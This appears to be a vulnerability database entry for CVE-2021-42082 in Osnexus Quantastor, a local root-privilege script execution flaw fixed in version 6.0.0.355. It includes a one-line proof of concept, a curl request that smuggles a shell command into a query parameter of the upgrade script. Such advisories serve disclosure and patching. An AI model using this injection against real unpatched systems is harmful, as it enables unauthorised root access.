CVE-2021-42082: Osnexus Quantastor

High severity, CVSS 7.8. EPSS: 0.2% chance of exploitation in the next 30 days.

Local users are able to execute scripts under root privileges. POC On the local host run the following command: curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'

Affected products

• Osnexus Quantastor: before 6.0.0.355 (fixed in 6.0.0.355)

Published 2023-07-10. Last modified 2026-06-17.